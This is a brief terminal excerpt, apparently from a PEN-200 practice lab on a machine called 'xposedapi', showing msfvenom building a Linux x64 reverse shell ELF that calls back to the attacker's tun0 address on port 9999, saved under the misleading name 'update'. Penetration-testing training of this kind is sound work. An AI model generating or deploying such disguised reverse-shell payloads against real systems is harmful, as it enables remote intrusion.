msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/xposedapi]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=$tun0 LPORT=9999 -f elf -o update
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: update
msfvenom generated a reverse shell ELF executable; update